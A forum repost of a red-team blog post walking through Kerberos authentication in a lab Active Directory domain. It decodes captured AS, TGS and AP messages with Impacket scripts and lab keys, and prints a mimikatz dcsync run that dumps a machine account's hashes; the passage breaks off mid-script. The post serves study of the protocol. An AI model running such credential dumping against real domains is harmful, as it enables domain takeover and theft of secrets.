Jump to content
Nytro

Windows authentication attacks part 2 – kerberos

Recommended Posts

460d27d634b0ce7332e20f1c67298876?s=224&d
ACTIVE DIRECTORY RED TEAMING   •   APRIL 28, 2020   •   84 MIN READ

Windows authentication attacks part 2 – kerberos

Kerberos authentication is one of the cores of the AD, knowing how it works facilitates the deep understanding of many attacks.

Windows authentication attacks part 2 - kerberos

Overview

Table of Contents

 

Kerberos is a centralized authentication protocol, works using tickets instead of the challenge-response mechanism.
Unlike the permanent channels between the client and the servers which are required and used when authenticating and using service via NTLM, Kerberos depends on stateless login mechanism using trust between the parties involved in the authentication process instead.
The client simply asks for a ticket that proof it’s identity, cache it and uses it when connecting to services.

 

1.jpg
2.jpg

There is no open tunnel between the client and the service for authentication, actually, the whole authentication process (In normal scenarios) takes place between the client and the KDC before even connecting to the service.
Before proceeding with Kerberos details, we need to make a quick overview regarding Kerberos and put some terms which will be used heavily within this post
1 – Client: this can be any machine requesting access to any service over the network
2 – Key Distribution Center (KDC) which handle the Kerberos authentication requests, it’s usually the domain controller or at least has access to the users and services secrets (Hashes) and consists of 2 services,
A – Authentication server (AS) which receives the client’s authentication requests
B – Ticket Granting Service (TGS), which issue tickets to the client to access the services he needs.
3 – Service: The service you need to gain access to, Both Clients and Services are considered as principals, more on that later.
4 – Realm, which is the uppercase value of the Domain name in the AD environments.

I don’t want to flood your brain with terms, so the rest will follow just in their place during walking through the authentication process, but for now, keep the following on mind:
1 – The whole Kerberos authentication process is going between Client, KDC and service, also it’s centralized and depends on the trust of the client and the service with the KDC.
The KDC has access to users and services credentials, it uses these credentials (Secrets) of both user and service to assure the integrity of the user through a cryptographic process which is the main focus of this post.

2 – Kerberos is used for authentication, not authorization.
This means that Kerberos will help you verify the user’s identity by checking his login data, but yet it won’t help you to verify if the user has or doesn’t have access to the service.
If John is trying to access MSSQL service at 10.0.0.2, Kerberos will validate John’s login credentials, but won’t validate if John has access to the Databases on that MSSQL service or not.
The authorization step depends on the service, Privileged Attribute Certificate (PAC) and the local machine’s or service’s policies are usually used for that matter as will mentioned later.

3 – Kerberos authentication is host-based, not IP based like NTLM, mean if You got a service hosted at machine win2012.jnkfo.lab (192.168.18.12), You should connect to the hostname of the machine instead of the IP address, otherwise, windows will pick up the NTLM authentication instead of Kerberos.
Example: using windows 10 to connect to SMB at win2012.jnkfo.lab (192.168.18.12) using IP address directly.

 

Screen-Shot-2020-04-20-at-7.34.07-PM-204

NTLM authentication was used, unlike connecting using the hostname where Kerberos authentication is used by default.

 

This is happening because Kerberos requires a Service Principle Name (SPN) while connecting, and before Windows 10 version 1507 and Windows Server 2016 IP addresses couldn’t be used as a part of the SPN name, the only hostname could be used.
More about that at the SPNs part.

Service Principal Names (SPNs)

As mentioned earlier, Users and Services which are used through the Kerberos authentication process are called principals, These principals should have a specific formatted name that complies with Kerberos requirements.
You should differentiate between UPN which is the user principal name and SPN which is the Service principal name
So to connect to an SMB service at host win2012.jnkfo.lab which has the IP address of 192.168.18.12
By default, Kerberos isn’t used to authenticate your client with the SMB using the IP address, it requires what’s called the SPN, which take the following formats

ServiceClass/Host:Port

So for MsSQL, You will find the following SPN

  1. C:\Users\Administrator>setspn -L jnkfo\mssqlserver
  2. Registered ServicePrincipalNames for CN=mssqlserver,CN=Users,DC=jnkfo,DC=lab:
  3. MSSQLSvc/win2012.jnkfo.lab:1433

MSSQLSvc: is the service class
win2012.jnkfo.lab: is the Host where the service can be found
1433: is the port on which the service is running.
Sysadmins can register the service without adding the port number, it’s not mandatory but it’s needed in several cases.

Services SPNs must be set before using Kerberos for authentication, otherwise, You’ll get a KRB5KDC_ERR_S_PRINCIPAL_UNKNOWN error

 

Screen-Shot-2020-04-20-at-8.02.56-PM-204

An SPN can be registered using

  1. setspn -A ServiceClass/Hostname:Port Domain\Username

 

Screen-Shot-2020-04-20-at-8.06.25-PM-204

Now I can connect to the service normally

 

Screen-Shot-2020-04-20-at-8.18.27-PM.png

After windows server 2016 and Windows 10 version 1507 IP addresses can be used as a part of the SPN, but that’s not the default and requires updating the client’s settings which aren’t our concern today, more details can be found here

There are several default SPNs for windows including CIFS, LDAP, Host, terminal services… etc
The Host SPN itself including several services beneath it, You will find that the “host” SPN is called when executing certain functions.

 

Screen-Shot-2020-04-20-at-8.54.58-PM-204

These services can be obtained from the ADSI

 

Screen-Shot-2020-04-20-at-9.02.01-PM.png
  1. host=alerter,appmgmt,cisvc,clipsrv,browser,dhcp,dnscache,replicator,eventlog,eventsystem,policyagent,oakley,
  2. dmserver,dns,mcsvc,fax,msiserver,ias,messenger,netlogon,netman,netdde,netddedsm,nmagent,plugplay,protectedstorage,
  3. rasman,rpclocator,rpc,rpcss,remoteaccess,rsvp,samss,scardsvr,scesrv,seclogon,scm,dcom,cifs,spooler,snmp,schedule,
  4. tapisrv,trksvr,trkwks,ups,time,wins,www,http,w3svc,iisadmin,msdt

So don’t get confused when you find the “host” SPN at Wireshark while connecting to some services.

Summary

SPNs are used when authenticating to any service using Kerberos, the service must have a registered SPN in order for Kerberos to be used for authentication.
SPN’s format is ServiceClass/host:port

Kerberos authentication

Setting up

Assume user jnkfo\win10user need to connect to SMB service at win10.jnkfo.lab, I will use Impacket to do so and Wireshark to track everything

The following code will do so

  1. from impacket.smbconnection import SMBConnection
  2. smbconn = SMBConnection("win10.jnkfo.lab", "192.168.18.10")
  3. login = smbconn.kerberosLogin("win10user", "P@ssw0rd", "jnkfo.lab", "","","", kdcHost="192.168.18.2")
  4. print login

Hostname : win10.jnkfo.lab
Host IP: 192.168.18.10
username: win10user
Domain name: jnkfo.lab
KDC Host (Domain controller) : 192.168.18.2

Before executing the code, launch Wireshark and use the following filter “kerberos or smb or smb2” to track just the smb and Kerberos packets

Once u execute the command, you will see some packets in Wireshark

 

Screen-Shot-2020-04-24-at-4.24.04-PM-204

Once you got that, we’re ready to go.

In a nutshell

Let’s split the connection into 2 parts,
1 – Client <—-> KDC
2 – Client <—-> Service

I won’t discuss the SMB negotiation here, it’s already discussed in the previous part, we’re more interested in the Kerberos auth process.
First, the client is contacting the KDC to retrieve a ticket, Then, the client presents that ticket to the service, as proof of his identity.

The 1st part (Client <—-> KDC) involves the following

 

4.png

1 – AS-REQ (Authentication request):

The client hashes the user’s password, uses that hash to encrypt the current timestamp, and sends the encrypted timestamp to the KDC.
The KDC already has a copy of the user’s hash so it uses the hash and tries to decrypt that message to retrieve the timestamp.
If the decryption is successful, then the KDC knows that the client used the correct hash and hence proved his identity to that KDC

2 – AS-REP (Authentication reply): The Authentication service (AS) replies with two messages
A – A session key encrypted using the user’s hash, that key will be used for future messages.
B – TGT (ticket-granting ticket), That TGT contains information regarding the user and his privileges on the domain, This message is encrypted using the hash of the KRBTGT account’s password. That hash is known only to the KDC, so only the KDC can decrypt the TGT.

3 – TGS-REQ (Ticket Granting Service request): The client now has the TGT, he then requests a ticket to access the service he wants, so the client encrypts that request using the session key and sends it to the KDC which will decrypt and validate it. The TGT is also sent in that request.

4 – TGS-REP: After validating the TGT the KDC responds with two messages
A – A message specialized for the targeted service, encrypted with the service’s hash which is stored at the KDC, this includes the information in the TGT as well as a session key
B – A message for the client containing a session key for further requests between the client and the service he asked to access, which is encrypted using the key retrieved from the AS-REP step.

The 2nd part Client <—-> Service
The client presents the message (TGS) from the TGS-REP step while connecting to the service along with an encrypted part, called authenticator message, this part includes the user’s name and timestamp which was encrypted and will be decrypted using the service session key.
Then compare the username and timestamp from the TGS with the username and timestamp from the authenticator message.

 

2.jpg

That’s how Kerberos works without digging deep, but that’s not enough AT ALL to understand Kerberos attacks.
It’s better to dig deeper in each message and how it’s working, the information it contains, and what each piece of information will be used for.
That’s what I will be discussing using the packets I’ve captured earlier

 

5.png

Pre AS-REQ

1 – The client tries to send an AS-REQ message to the KDC containing the following information

 

6-1.png

The 1st part includes

  • The message type or the Application class tag number (10)
  • Kerberos version (pvno = 5)
  • The padata which contains the authentication type 128 (PA-PAC-REQUEST) which indicates either PAC is present or not, in this case, you’ll find that Kerberos.include_pac is true so it means “no PAC is present, include the PAC”

The 2nd part includes the ticket flags or attributes

 

7.png
  • Forwardable: The ticket can be forwarded, This flag is typically set during the AS exchange and is used by the TGS when issuing tickets.
  • proxiable: the ticket can be sent to a proxy and used by a proxy.
  • renewable: The client can request to have the ticket renewed instead of having a new ticket issued when the current expires

The 3rd part includes

  • CnameString: which is the username we’re using to login “win10user“
  • realm: which is the uppercase of the full name of the domain we’re logging in to “jnkfo.lab”

The 4th part includes

  • SnameString: which is the name of the Kerberos service we need (krbtgt in that case)
  • realm: which is the uppercase of the full name of the domain “jnkfo.lab”

The 5th part includes the encryption algorithm which will be used (AES256 in this case)

The full message is in plaintext, no secrets are shared at all

KRB5KDC_ERR_PREAUTH_REQUIRED

The KDC responds to the client that it needs more information to prove that he own the password (key) of the user he’s authenticating as
that’s the part in which the user’s password or hash is needed.
You’ll find many old parameters included in the message already, but yet some new parameters are sent to the client

 

8.png
  • stime: The current server time
  • susec: The server’s timestamp in microseconds
  • salt: JNKFO.LABwin10user
  • And obviously the error code

AS-REQ

From now and on you’ll notice that there is an encrypted part and a plaintext part, this will be obvious in a few seconds.
In this step, the user’s hash will be used to encrypt the timestamp and send it to the KDC, The packet includes

 

9.png

This request includes everything in the 1st AS-REQ message including

  • Cname: already discussed, contain the client principal name (win10user@JNKFO.LAB)
  • Sname: already discussed, contains the service principal name (krbtgt@JNKFO.LAB)

and more importantly, the encrypted timestamp part which can be found at the cipher field.
The value is : e881a392d5eb0f57f7cd023a5b6eaaf5df73c023011fa8837e501769417a90c3ed73372c689c930881129b913904cde1c908fa7469775e39
etype: which is the encryption type used while encrypting the timestamp, which is AES256

to decrypt that message we need to get the AES256 key for the user, then use it to decrypt the cipher
The following code will help

  1. from binascii import unhexlify, hexlify
  2. from impacket.krb5.crypto import Key, _enctype_table, InvalidChecksum
  3. from pyasn1.codec.der import decoder, encoder
  4. cipher = _enctype_table[18]
  5. password = "P@ssw0rd"
  6. salt = "JNKFO.LABwin10user"
  7. key = cipher.string_to_key(password, salt, None)
  8. #hexlify(key.contents)
  9. mycipher = "e881a392d5eb0f57f7cd023a5b6eaaf5df73c023011fa8837e501769417a90c3ed73372c689c930881129b913904cde1c908fa7469775e39"
  10. enctimestamp = cipher.decrypt(key, 1, unhexlify(mycipher))
  11. dec = decoder.decode(enctimestamp)
  12. for i in dec:
  13. print i

This will produce the following output, which is the clear text timestamp

  1. Sequence:
  2. field-0=20200424142303Z
  3. field-1=197279

The message is sent to to the KDC which will proceed with the authentication process

 

10.png

AS-REP

The KDC has a copy of the user’s key, so if the user encrypted the timestamp using the correct key, the KDC will be able to decrypt it and hence the KDC assured that the client used the user’s correct password.

 

 

11.png

Once this step is done the KDC generates a random session key, sends the AS-REP (Authentication reply), which contain 2 messages

 

12.png

Message A

Which is encrypted using the user’s secret key, and so it can be decrypted and read by the user.
The message contains the following information

  • TGS session key
  • TGS name
  • Timestamp
  • Lifetime

We can decrypt and read these data using win10user’s key, let’s get the key directly from the DC instead of generating it using the plaintext password

 

13.png

The Etype in the packet is 18, meaning we will need the AES256 key,
Using the following script to decrypt the cipher in message A will help us understand what’s going on

  1. from pyasn1.codec.der import decoder, encoder
  2. from binascii import unhexlify, hexlify
  3. from impacket.krb5.crypto import Key, _enctype_table, InvalidChecksum
  4. cipher = _enctype_table[18]
  5. key = Key(18, unhexlify("1ed620f476644bb555227e913400edf446980824f60564ee4bd3430ca34981c1"))
  6. mycipher = "d20a921ad48dbdf8616f85e05418466c8021f7b45b8adf4ffa59940260c23c2e1eb88fcb2603a6625c81d0a7c840db62bf7cbb4e22d5de52f303155a0098f3e7ea3a98d226c3ff572429df5156656c51d8880bd87c355929189f501970bcd8aeef6405e908131f26c8701075b2314a96de39e4727698081e989bb35716c5dc3081bd071d1c9938b078a170a5697fd3dbe1879ed48a490c8914221d94feb13e126a011dad7584bd1db525dabd159534e936578ff1e4120c3183367d190587aaf64e51e2c140542dbcc170c933cb62ebe3a736674054fa6921732351b5854e6918d79e1614983a224b20af9bc36c28e89a404aa736b6405ed18cd21a5eb7c8a82b5112287aeb650757cd4e"
  7. jnk = cipher.decrypt(key, 3, unhexlify(mycipher))
  8. dec = decoder.decode(jnk)
  9. for i in dec:
  10. print i

The output is

  1. Sequence:
  2. field-0=Sequence:
  3. field-0=18
  4. field-1=0x64586df7e4620c197c1889f84d3aa825c4c6060d12633a83bfc9af11f5fdab64
  5.  
  6. field-1=SequenceOf:
  7. Sequence:
  8. field-0=0
  9. field-1=20200424142303Z
  10.  
  11. field-2=755736468
  12. field-3=20200524145835Z
  13. field-4=1356922880
  14. field-5=20200424142303Z
  15. field-6=20200424142303Z
  16. field-7=20200425002303Z
  17. field-8=20200425142303Z
  18. field-9=JNKFO.LAB
  19. field-10=Sequence:
  20. field-0=1
  21. field-1=SequenceOf:
  22. krbtgt JNKFO.LAB

You will notice some familiar fields, such as the

  • The TGS service name: krbtgt
  • Realm: jnkfo.lab
  • Session key : 0x64586df7e4620c197c1889f84d3aa825c4c6060d12633a83bfc9af11f5fdab64
  • Timestamp: 20200424142303

Message B (TGT)

 

14.png

This includes a plaintext part that contains the SPN (TGS name <krbtgt>) and an encrypted part which is making the Ticket Granting Ticket (TGT).

The 2nd part (enc-part) contains the following information

  • Username
  • Realm
  • Session key
  • Timestamp
  • Lifetime

That part is encrypted using the krbtgt key, which only the KDC knows, and so only KDC can decrypt this part.
We can get the krbtgt key using the same method explained at Message A, and so we can decrypt that cipher using the following code

  1. from pyasn1.codec.der import decoder, encoder
  2. from binascii import unhexlify, hexlify
  3. from impacket.krb5.crypto import Key, _enctype_table, InvalidChecksum
  4. cipher = _enctype_table[18]
  5. key = Key(18, unhexlify("8b4b161245435ee310d420c195995f2d22b88c680dae09196cd29e4e05723638"))
  6. mycipher = "65c0e02f31835d711d581eafba47461c767aaae82cc2677925822df7ba88fcf2ae1b06c239028c22ab0b69ecb4ccd0da2cc3d5fdbb3f3144f5cee858ce152865dcc6bcf5a6c7288926c85ac7a89c8ce911ebe34bf8f3575ba395b21cdfa74b6103ab7441ed4afa07804dc22a34f102f737c05f2a10ca1b99d926ac13e2f563ccac3cfbdd6049d076803609595b77ff76eaa3a0a18209b7b4159ad8ec2ec9d1c164ebff949918dedf153d9d881d182cad5e1a3f1fc61bd23f4eee710812d8b0bfe5b4d0140700f1efdd2dec1a9f2190a4956bcf4362d101399f910bcbe339f8de33715b947fb7d56d2cd0622dd994963583e9cce686737bd6623b28b18e28eb29a319b4c64f50c28e8736c218039196907e9e5694d2a017bf714b6a94315e32395447e46a34d8dbe9a24d05c95f596ef263ee73e0ff221592631da6ecf5baa07c7441ddd66dd53813d81639be67203a86bd63b188894c30c80b4bf9bc100f0ea8a9d9a5712dc3e311f82c04a2fe01ec73f804e839b7030530952e79fd34df82436665c9a8d8399ffe2f36c611010137cee12847ae04803a54390ad907ca03cbf8a3fe3db1be254861d70aa93b43b3e0ee669dc221297782e3e3e4b6c25c4b6e8f7621e4efc568afd40be7dd9bda17b01282461ee5cf562ca1cdea820d13cdb1fa007e3bde2102bd0ca24e1527dcb0772bb98b7dc0f17c2b699657a6678d73fecc99545e76fcd9fff75598b8129222117f19e56536406cdb42f9fb1ea3820d8c33687dd2e87ba361794841b23fab0d8c8a37d6cd3fe2d033bd861ff89e3ecc894b20b88af2881af91ea3a2b5f26fb5a958292da07bde177cc6a1a7eec04cfdf028366e51fdf0d5a977ce513bbd146c567d15eee7f5e396c2ee9f3e5658b33f5a8c1d60e3fb3e6302df7eba13ba229a2b2b76b52f67a3305e9519a476682c57637822f4f8f3795e50ac9d3095e42bd65ccf5424b1876bbc1e383f188a70876bd44d3212884b6ccd84b35690ea7ee24e9c7495414720ed1958a27f6f66cafc3b2fade20cbc36fde6d88060d19e027f2b4c2d99e77660b2c1f3c9fa70e7e33e893e695b9effeb60e786ee77728a49c308c587d5be72381b30baac7581e72ffaf181a5a15632f89b0fd148823c5ef4f91b631f60733afb0fcbb721b619b7fe6ce86d68b4d056ccf65ab8fea967140590b3318d0869576fd77cce2b0306121b86b45e0584255f37c788b5f888ef41167d74eb0374c7d6fd925f9f82822fdb579f00693494d3ff4334fccec6e1b9eb97ebbc6108f6c59e53078b039ec818fdf32860be1e5a30210ec821a042de32a9ca47975f"
  7. jnk = cipher.decrypt(key, 2, unhexlify(mycipher))
  8. dec = decoder.decode(jnk)
  9. for i in dec:
  10. print i

Output is

  1. Sequence:
  2. field-0=1356922880
  3. field-1=Sequence:
  4. field-0=18
  5. field-1=0x64586df7e4620c197c1889f84d3aa825c4c6060d12633a83bfc9af11f5fdab64
  6.  
  7. field-2=JNKFO.LAB
  8. field-3=Sequence:
  9. field-0=1
  10. field-1=SequenceOf:
  11. win10user
  12.  
  13. field-4=Sequence:
  14. field-0=0
  15. field-1=
  16.  
  17. field-5=20200424142303Z
  18. field-6=20200424142303Z
  19. field-7=20200425002303Z
  20. field-8=20200425142303Z
  21. field-9=SequenceOf:
  22. Sequence:
  23. field-0=1
  24. field-1=0x308202ba308202b6a00402020080a18202ac048202a8050000000000000001000000b801000058000000000000000a0000001c00000010020000000000000c000000500000003002000000000000060000001000000080020000000000000700000014000000900200000000000001100800cccccccca80100000000000000000200629531ad411ad601ffffffffffffff7fffffffffffffff7fce9547d7da10d601ce55b101a411d601ce15a1ccdb31d60112001200040002000000000008000200000000000c0002000000000010000200000000001400020000000000180002004f0000005004000001020000010000001c000200200000000000000000000000000000000000000004000600200002000a000c00240002002800020000000000000000001000000000000000000000000000000000000000000000000000000000000000010000002c000200000000000000000000000000090000000000000009000000770069006e003100300075007300650072000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000102000007000000030000000000000002000000440043000600000000000000050000004a004e004b0046004f000000040000000104000000000005150000002e9b71bded76d1b44c28fa960100000030000200070000000100000001010000000000120100000000000000803d2fdd431ad6011200770069006e003100300075007300650072000000000026001000120038000100000000000000770069006e0031003000750073006500720040006a006e006b0066006f002e006c006100620000004a004e004b0046004f002e004c004100420000000000000010000000f22e9087d4255c88f2db506376ffffffae3c04a84d7d18d4c9282f7a5da45a3400000000
  • Username and Realm: win10user@JNKFO.LAB
  • Session key: The same session key as the key in message A
  • Timestamp and lifetime
  • PAC data

So, at this step, once the client gets these messages, it decrypts Message A using the key derived from the user’s password and obtains the session key which as you noticed is the same in messages A and B.

 

15.png

The client can’t decrypt Message B as it’s encrypted using the TGS key (krbtgt hash) as prementioned, but yet the TGT will be stored in the cache to be used later.
Now the client needs to get a ticket with which he can access the service he needs, the SMB service with which we were communicating in the 1st place.

TGS-REQ

At this point, the client will start asking to deal with the targeted service, not the TGT as we were communicating with.

So the client sends the TGS-REQ which includes 2 parts, a plaintext part that indicates the service the client needs to access (The SPN)

 

17-1.png

Which cifs/win10.jnkfo.lab

and another 2 encrypted messages

Message C

This contains the TGT which was retrieved from the previous step (Message B)

 

18.png

Message D

or the Authenticator, which is an encrypted message generated by the client contains the username and the timestamp

This message (authenticator) is encrypted using the session key retrieved from Message A

 

20.png

The client sends this request to the KDC which do the following

 

21.png
  1. Extract the TGT from message C
  2. Decrypt the TGT at Message C using the TGS key (krbtgt key which is stored at the KDC), and retrieve the session key, username, and the timestamp from the TGT (message B).
  3. Use the session key to decrypt the authenticator which contains the username and the timestamp.
  4. Compare the username and timestamp from the TGT (1) with the username and timestamp from the Authenticator (2)
  5. Check the TGT lifetime to make sure it’s not expired

If everything is ok, then the user proved his identity and the authentication process will go on

TGS-REP

After validating the client’s identity, the KDC needs to create a TGS, the one which the client will use to authenticate to the service.

The KDC generates a random key (Service session key) and sends back the TGS-REP which includes 2 messages.

 

22.png

Message E

This part includes a plaintext part which contains the SPN the user is trying to access (cifs/win10.jnkfo.lab), and another part which is encrypted using the service key, which means that the user is unable to decrypt or manipulate it, this includes the following information

  • Service session key
  • Username
  • Timestamp
  • Lifetime
  • PAC information

as mentioned this part can be decrypted using the service key, for accessing such a service the Kerberos is using the machine key which can be obtained via

  1. imikatz # lsadump::dcsync /user:WIN10$ /domain:jnkfo.lab
  2. [DC] 'jnkfo.lab' will be the domain
  3. [DC] 'DC.jnkfo.lab' will be the DC server
  4. [DC] 'WIN10$' will be the user account
  5.  
  6. Object RDN : WIN10
  7.  
  8. ** SAM ACCOUNT **
  9.  
  10. SAM Username : WIN10$
  11. Account Type : 30000001 ( MACHINE_ACCOUNT )
  12. User Account Control : 00001000 ( WORKSTATION_TRUST_ACCOUNT )
  13. Account expiration :
  14. Password last change : 3/29/2020 7:16:42 PM
  15. Object Security ID : S-1-5-21-3178339118-3033626349-2532976716-1105
  16. Object Relative ID : 1105
  17.  
  18. Credentials:
  19. Hash NTLM: 1ad9c160bd7ab9cb4b7c890c96862305
  20. ntlm- 0: 1ad9c160bd7ab9cb4b7c890c96862305
  21. ntlm- 1: 5e591b183142300b96281c9b75aaaf99
  22. lm - 0: 3c0bd3dace8dc8f6fabcb58db7761cf3
  23. lm - 1: 1c9cbdcb85af1552edd2e70e4379563d
  24.  
  25. Supplemental Credentials:
  26. * Primary:Kerberos-Newer-Keys *
  27. Default Salt : JNKFO.LABhostwin10.jnkfo.lab
  28. Default Iterations : 4096
  29. Credentials
  30. aes256_hmac (4096) : d9060eb5200bf63461b1525277212c2d6cddb66a3eac26807183809e27b41ca8
  31. aes128_hmac (4096) : 1b972a7269a8d841d15bd32577e39a27
  32. des_cbc_md5 (4096) : b0e97c31dc9edf3b

So this part can be decrypted using

  1. from impacket.krb5.pac import PACTYPE, VALIDATION_INFO
  2. from pyasn1.codec.der import decoder, encoder
  3. from binascii import unhexlify, hexlify
  4. from impacket.krb5.crypto import Key, _enctype_table, InvalidChecksum
  5. import struct
  6. cipher = _enctype_table[18]
  7. key = Key(18, unhexlify("d9060eb5200bf63461b1525277212c2d6cddb66a3eac26807183809e27b41ca8"))
  8. mycipher = "f9eec5f1876a6f53fdaa7884b03205c743fc009487b1eb8b68594e13a0321a39dc42d5e5f747184ccd1ffb59b5956ee20b53e4b0256d688ddfb01c00082ec86f14bf276c68f86bf9f9244ea0f2a568b0e278f82190b388294500deb8860f6301e5dc383c0c8869fa396ddae8e18230d153b112396ec4cf692f30374fb53e4279e805e681fc724924d0d1288488b0c2b08fb40987620a335ca4613d919b3733c5270f34151d6d4648e8c20d4d3ad3616cc330fed0b7c734cd77add28beda3efe5a04dc148b611be00117ca500fd3ee3d00efebb62085eff1883d5a40a9b150798439e7e6f6e52b102246a9a94bface1409bdf08063d0bedc6c95b4fc65c89dc9f79e98b9f7909882253cfb2c6029e2f308bb9b5ef69c30593365194ea73d55962198c9b6753540adf472165b73a84ec0b74bc37d02658c807f396036cbf3f868c47e8a9873a0eebdbdb46ddb97063ee4972f8e4d405d62606c4ec43497fe44989d2deb14b5ad22a6425bfb90416ac8a4c28bd2c40097c5a63e18eb4b9e158a3785954f5edb6b994f2ed1e03734d1b5da870dcce547e383d09efd4f13c35a19121d7c6a3bbc4267307b5f9d9c9ab84a4a786bb7affce9055c92ed3e9245ad2070116a8cd25dc0545e8602fba1d726bfd2ee4502e1b3b72f2c4ec555a42494390ea97726cbaa1587ac38bfa5280ebce0429f82076d4fb02dc28273b9cf316c58348feb6b693df5dddc3ff216764daac836aadcfbb708827ba01ae81f24e7ce62b95072d075269ba7c69b1f4d6123389cffdcf6f0289d4d17f53987cdd004bd6f6c222dd3a8beb4e16da02b1651848492c5020a713f293f4366280fb0cd9d0586dd62eb531f5cdeeb08fe607971cc4698aa01013e0729978f794f2eb4009c76c56534a9942c3d29d84d630cccfbe3ef78950a57535df0410889eec9197470f556a21235259bb7a82d2cd59738b7ea2ea87e9dc9fc6e1fdc50dd59df0a1818ceade470c05b4b2e4a1c69aba5b0edc5c2e8bb9f28e16bf1bd0b1b960bfc80f7ebc729c3f83aca48b24d411368a95354db446a6450896969644c8892914b974a066ddce78ecd738f76546153095f70177630b6d8d961a806f2b959be6e2a3c73d430f1dae9b562876ff602966f48d65fd33af396ed31c79ca2a8bf409e04779ec0d978f3624441645f290d11b20f5847ea0211d8377ad61127dcbf02a1fa8ab2b7ed51ed9abf0d484c5ac3315d1b864b55d598f6b705509c37fb88eddc65ddb136c090e285c33968f32e1816e29fbcfa307f0cdef28fa7d6b0d54cf1c525e6be479a1"
  9. jnk = cipher.decrypt(key, 2, unhexlify(mycipher))
  10. dec = decoder.decode(jnk)[0]
  11. print "------------------- Ticket Data ------------------"
  12. print dec

the output is

  1. Sequence:
  2. field-0=1084293120
  3. field-1=Sequence:
  4. field-0=23
  5. field-1=0x2c0d86037d0014a317d8c5aee4e8d339
  6.  
  7. field-2=JNKFO.LAB
  8. field-3=Sequence:
  9. field-0=1
  10. field-1=SequenceOf:
  11. win10user
  12.  
  13. field-4=Sequence:
  14. field-0=1
  15. field-1=
  16.  
  17. field-5=20200424142303Z
  18. field-6=20200424142303Z
  19. field-7=20200425002303Z
  20. field-8=20200425142303Z
  21. field-9=SequenceOf:
  22. Sequence:
  23. field-0=1
  24. field-1=0x308202ba308202b6a00402020080a18202ac048202a8050000000000000001000000b801000058000000000000000a0000001c00000010020000000000000c000000500000003002000000000000060000001000000080020000000000000700000014000000900200000000000001100800cccccccca80100000000000000000200629531ad411ad601ffffffffffffff7fffffffffffffff7fce9547d7da10d601ce55b101a411d601ce15a1ccdb31d60112001200040002000000000008000200000000000c0002000000000010000200000000001400020000000000180002004f0000005004000001020000010000001c000200200000000000000000000000000000000000000004000600200002000a000c00240002002800020000000000000000001000000000000000000000000000000000000000000000000000000000000000010000002c000200000000000000000000000000090000000000000009000000770069006e003100300075007300650072000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000102000007000000030000000000000002000000440043000600000000000000050000004a004e004b0046004f000000040000000104000000000005150000002e9b71bded76d1b44c28fa960100000030000200070000000100000001010000000000120100000000000000803d2fdd431ad6011200770069006e003100300075007300650072000000000026001000120038000100000000000000770069006e0031003000750073006500720040006a006e006b0066006f002e006c006100620000004a004e004b0046004f002e004c004100420000000000000010000000ad9bd35bb460f8b45d7dd91576ffffff69c616734739a1f74cea493a458977f900000000

You’ll note

  • Encryption type: 23
  • A service session key: 2c0d86037d0014a317d8c5aee4e8d339
  • Client name:win10user
  • realm: JNKFO.LAB
  • Timestamp and PAC

Message F

 

23.png

This message is encrypted using the session key which is already cached at the client (check AS-REP), so the user can decrypt this one easily and obtain

  • Service session key
  • Timestamp
  • Lifetime
  • Service name

Note that the Service session key is found in both messages.

So let’s decrypt that cipher using

  1. from impacket.krb5.pac import PACTYPE, VALIDATION_INFO
  2. from pyasn1.codec.der import decoder, encoder
  3. from binascii import unhexlify, hexlify
  4. from impacket.krb5.crypto import Key, _enctype_table, InvalidChecksum
  5. cipher = _enctype_table[18]
  6. key = Key(18, unhexlify("64586df7e4620c197c1889f84d3aa825c4c6060d12633a83bfc9af11f5fdab64"))
  7. mycipher = "7d996b5c8ce08c1f8ab31471dde8d6d892a4f8ff3cec5527f357b425786c05e7f3616f6ea6768c47202924f6a9f86308f3ff873f43e9d9a6715da5cb8ce48b2b8ecfac5e738e03cb0546e870d3d8ed300d5fe009de6e4cea0312f4e1c6ca7ca62c502aedbc45e09bb6617753860e7613be068e27aa993b08619ad6ba148659505ca9443525b63186845ae4a69c383587c742a2cb962ff0d2a8b56edb389987d472d76962d0ddb146f1dfcf198a7f9a96a80c8c39637905dde9e1044774a027f0cc17a553ec8a30e71ecda7f78ef80f20cfec0a5ad5bfdb4560e54fbb9935fd6526b7d6404e43952a07f3fca99bb48a2e0b78fa8b2d2e7008365496a989b573"
  8. jnk = cipher.decrypt(key, 8, unhexlify(mycipher))
  9. dec = decoder.decode(jnk)[0]
  10. print dec

The output is

  1. Sequence:
  2. field-0=Sequence:
  3. field-0=23
  4. field-1=0x2c0d86037d0014a317d8c5aee4e8d339
  5.  
  6. field-1=SequenceOf:
  7. Sequence:
  8. field-0=0
  9. field-1=20200424142303Z
  10.  
  11. field-2=2035677725
  12. field-3=1084293120
  13. field-4=20200424142303Z
  14. field-5=20200424142303Z
  15. field-6=20200425002303Z
  16. field-7=20200425142303Z
  17. field-8=JNKFO.LAB
  18. field-9=Sequence:
  19. field-0=2
  20. field-1=SequenceOf:
  21. cifs win10.jnkfo.lab
  22.  
  23. field-10=SequenceOf:
  24. Sequence:
  25. field-0=165
  26. field-1=0x1f000000

Did u notice the 2c0d86037d0014a317d8c5aee4e8d339 ?!

So right now the client has obtained the service session key and the service ticket, the client is ready to communicate with the service

Accessing the service (AP-REQ)

The communication between the client and the KDC is now over, the client needs to access the SMB service.
It will do so by sending a couple messages to the service

 

24.png

1 – The service ticket (Message E) which the client got before

2 – Message G or Authenticator message

Which consist of a username and the timestamp, This authenticator is encrypted using the service session key which the client obtained in the previous step from the message F.

Once the service receives this request, it decrypts the service ticket using its own key
Extract the service session key, username, and timestamp
Use the service session key to decrypt the authenticator message and retrieve the username and timestamp

 

25.png

The server then

  1. compares username from the authenticator with the username from the service ticket
  2. compares timestamp from the authenticator with the timestamp from the service ticket
  3. check the lifetime to make sure that the service ticket isn’t expired

If everything is ok, then the authentication process is over, the client is allowed to authenticate to the service as long as the service ticket isn’t expired.

Authorization

As mentioned earlier, the whole process is about authentication, not authorization.
You will notice that there are no privileges checks that took place at all during the entire process, as this will depend on the service or the local machine’s policies itself.
For that matter, the PAC part is also attached to the ticket.
It includes information about the user group memberships among other information.
We can read the PAC attached to the service ticket using

  1. from impacket.krb5.pac import PACTYPE, VALIDATION_INFO
  2. from pyasn1.codec.der import decoder, encoder
  3. from binascii import unhexlify, hexlify
  4. from impacket.krb5.crypto import Key, _enctype_table, InvalidChecksum
  5. import struct
  6. cipher = _enctype_table[18]
